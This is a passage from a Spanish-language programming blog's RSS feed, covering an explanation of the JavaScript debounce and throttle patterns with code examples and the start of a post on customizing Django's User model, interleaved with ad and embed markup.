&gt;&lt;/div&gt;&#xA;          &lt;/div&gt;&#xA;        &lt;/div&gt;&#xA;        &lt;div&#xA;          style=&#34;&#xA;            display: flex;&#xA;            flex-direction: column;&#xA;            flex-grow: 1;&#xA;            justify-content: center;&#xA;            margin-bottom: 24px;&#xA;          &#34;&#xA;        &gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              background-color: #f4f4f4;&#xA;              border-radius: 4px;&#xA;              flex-grow: 0;&#xA;              height: 14px;&#xA;              margin-bottom: 6px;&#xA;              width: 224px;&#xA;            &#34;&#xA;          &gt;&lt;/div&gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              background-color: #f4f4f4;&#xA;              border-radius: 4px;&#xA;              flex-grow: 0;&#xA;              height: 14px;&#xA;              width: 144px;&#xA;            &#34;&#xA;          &gt;&lt;/div&gt;&lt;/div&#xA;      &gt;&lt;/a&gt;&#xA;    &lt;/div&gt;&#xA;  &lt;/blockquote&gt;&lt;script async src=&#34;https://www.instagram.com/embed.js&#34;&gt;&lt;/script&gt;&#xA;&lt;p&gt;Si escribes en la caja de texto verás como se comporta cada corral.&lt;/p&gt;&#xA;&lt;div id=&#34;app-debounce-vs-throttle&#34;&gt;&lt;/div&gt;&#xA;&lt;script type=&#34;module&#34; src=&#34;https://res.cloudinary.com/dwrscezd2/raw/upload/v1760636200/coffee-bytes/index-CBAUHLL7_qlfk88.js&#34;&gt;&lt;/script&gt;&#xA;&#xA;&lt;h2 id=&#34;debounce-vs-throttle-diferencias-principales&#34;&gt;Debounce vs Throttle diferencias principales&lt;/h2&gt;&#xA;&lt;p&gt;Si tienes prisa, estas son las principales diferencias y aplicaciones de ambos patrones. Sin embargo, si quieres entenderlos en profundidad sigue leyendo.&lt;/p&gt;&#xA;&lt;table&gt;&#xA;  &lt;thead&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;th&gt;&lt;strong&gt;Aspect&lt;/strong&gt;&lt;/th&gt;&#xA;          &lt;th&gt;&lt;strong&gt;Debounce&lt;/strong&gt;&lt;/th&gt;&#xA;          &lt;th&gt;&lt;strong&gt;Throttle&lt;/strong&gt;&lt;/th&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/thead&gt;&#xA;  &lt;tbody&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Definición&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Ejecuta la función después de un retardo especificado desde la última vez que se disparó el evento.&lt;/td&gt;&#xA;          &lt;td&gt;Ejecuta la función a intervalos regulares, asegurando que no sea llamada más de una vez por período.&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Tiempo de ejecución&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Se retrasa hasta que el evento deja de dispararse durante un periodo determinado.&lt;/td&gt;&#xA;          &lt;td&gt;Se ejecuta inmediatamente o a intervalos fijos, independientemente de la frecuencia con la que se produzca el evento.&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Ejemplo de Caso de Uso&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Inputs donde se introducen datos: actualización de sugerencias sólo después de que el usuario deje de escribir por un momento.&lt;/td&gt;&#xA;          &lt;td&gt;Eventos de scroll: limitar la velocidad a la que se calcula la posición del scroll.&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&lt;h2 id=&#34;que-es-el-patron-debounce&#34;&gt;Qué es el Patrón Debounce?&lt;/h2&gt;&#xA;&lt;p&gt;El patrón de rebote o debounce pospone la ejecución de una función hasta que transcurra un determinado tiempo de espera.&lt;/p&gt;&#xA;&lt;p&gt;Nuevos intentos de ejecutar la función cancelarán la ejecución pendiente y reiniciarán el tiempo de espera.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;    &#xA;    &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Este es EL LIBRO cuando se trata de Javascript. Es una guía completa que cubre todo lo que necesitas saber, desde la declaración de variables, al funcionamiento interno de las promesas e incluso te explica como crear un compilador en Javascript (No tan eficiente como uno compilado, pero ideal para aprender), si vas a leer solo un libro de Javascript, que sea este.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Eloquent Javascript\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/eloquent-javascript.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3QvqSYt\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de Eloquent Javascript y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Dónde mejorar sus conocimientos de Javascript?\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/javascript/debounce-and-throttle-interactive-explanation/images/DebounceORebote.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/javascript/debounce-and-throttle-interactive-explanation/images/DebounceORebote.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Esquema simplificado del patrón debounce&#34; width=&#34;1200&#34; height=&#34;1200&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;explicacion-del-patron-debounce&#34;&gt;Explicación del patrón debounce&lt;/h3&gt;&#xA;&lt;p&gt;El código para debounce en javascript se ve así:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; debounce &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; (callback, tiempoDeEspera) =&amp;gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff5c57&#34;&gt;let&lt;/span&gt; timeout &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; (...args) =&amp;gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;clearTimeout(timeout)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;timeout &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; setTimeout(()=&amp;gt; callback(...args), tiempoDeEspera)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Nuestra función debounce retorna a su vez una función, la cual recibirá cualquier número de argumentos (&amp;hellip;args).&lt;/p&gt;&#xA;&lt;p&gt;Esta función usa un closure para acceder a la variable timeout. ¿Qué es timeout? timeout es una función &lt;em&gt;setTimeout&lt;/em&gt;, que programa la ejecución de nuestro callback para su posterior ejecución.&lt;/p&gt;&#xA;&lt;p&gt;Pero ahora presta atención al clearTimeout. Cada vez que llamemos a la función debounce se eliminará cualquier función programada, por lo que la única manera de que se ejecute nuestro callback es esperar el tiempo que le pasamos como argumento.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;como-funciona-el-patron-throttling&#34;&gt;¿Cómo funciona el patrón throttling?&lt;/h2&gt;&#xA;&lt;p&gt;El patrón throttling (o aceleración) establece un tiempo de espera durante el cual no se pueden llamar nuevamente más funciones. A diferencia del patrón bounce, el tiempo de espera no se reinicia si intentamos llamar nuevamente a la función.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/javascript/debounce-and-throttle-interactive-explanation/images/throttling.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/javascript/debounce-and-throttle-interactive-explanation/images/throttling.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Esquema simplificado del patrón throttling&#34; width=&#34;1200&#34; height=&#34;1200&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;explicacion-del-patron-throttling&#34;&gt;Explicación del patrón throttling&lt;/h3&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;El código para el patrón throttling en javascript se ve así.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; throttling &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; (callback, delay) =&amp;gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff5c57&#34;&gt;let&lt;/span&gt; timeout&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; (...args) =&amp;gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; (timeout &lt;span style=&#34;color:#ff6ac1&#34;&gt;!==&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;undefined&lt;/span&gt;) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    timeout &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; setTimeout(() =&amp;gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      timeout &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;undefined&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }, delay)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; callback(...args)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;La función throttling retorna una función que tendrá dos vertientes que dependen del estado de timeout:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;timeout está definido: esto significa que ya hay programada una función para su ejecución, en este caso la función no hace nada, es decir, bloquea la ejecución de nuevas funciones por medio de un return vacio.&lt;/li&gt;&#xA;&lt;li&gt;timeout no está definido: si timeout no está definido, creamos un &lt;em&gt;setTimeout&lt;/em&gt; y la asignamos a la variable &lt;em&gt;timeout&lt;/em&gt;. Esta función, una vez transcurrido su tiempo de ejecución, se eliminará a si misma de la variable &lt;em&gt;timeout&lt;/em&gt;. Posteriormente, y para finalizar, ejecutamos la función callback.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h2 id=&#34;otros-recursos-sobre-debounce-y-throttling&#34;&gt;Otros recursos sobre debounce y throttling&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://charliesbot.dev/blog/debounce-and-throttle&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Debounce y throttling en Typescript&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://webdesign.tutsplus.com/es/tutorials/javascript-debounce-and-throttle--cms-36783&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Debounce y throttling aplicados al DOM&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Hagamos una explicación interactiva de debounce vs throttle, donde puedas ver las diferencias entre estos &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/python/patrones-de-diseno-o-software-design-patterns/&#34;&gt;patrones de diseño&lt;/a&gt;&#xA; de una manera más visual.&lt;/p&gt;&#xA;&lt;p&gt;Debounce y Throttle son usados para limitar la ejecución de funciones, generalmente son utilizados para restringir la cantidad de veces que un evento se dispara: eventos click, scroll, resize u otros. Los patrones no son exclusivos de Javascript; en una entrada anterior te explique como usar throttle para &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/software-architecture/throttling-en-nginx/&#34;&gt;limitar la cantidad de requests que recibe el servidor nginx.&lt;/a&gt;&#xA;&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>¿Cómo personalizar el modelo User en Django?</title>
      <link>https://coffeebytes.dev/es/django/como-personalizar-el-modelo-user-en-django/</link>
      <pubDate>Wed, 16 Mar 2022 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/django/como-personalizar-el-modelo-user-en-django/</guid>
      
      <category>django</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;En esta entrada te explico tres métodos para extender o personalizar el modelo &lt;em&gt;User&lt;/em&gt; de Django, sin tener que reescribirlo desde cero, y manteniendo todas &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/por-que-deberias-usar-django-framework/&#34;&gt;las funcionalidades para el manejo de de usuarios de Django.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Django 5 salió y todos los libros anteriores se volvieron obsoletos porque están usando versiones antiguas de django en sus ejemplos, este no lo es y cubre todas las características básicas de django que hacen de este framework una de las apuestas más estables, probadas en batalla y seguras a la hora de diseñar una aplicación web.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Django for Beginners\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1751669153/coffee-bytes/django-for-begginers_300_xqbdi2.webp\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3Qx2pli\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de Django for Beginners y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Dónde aprender Django Framework de manera profunda?\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 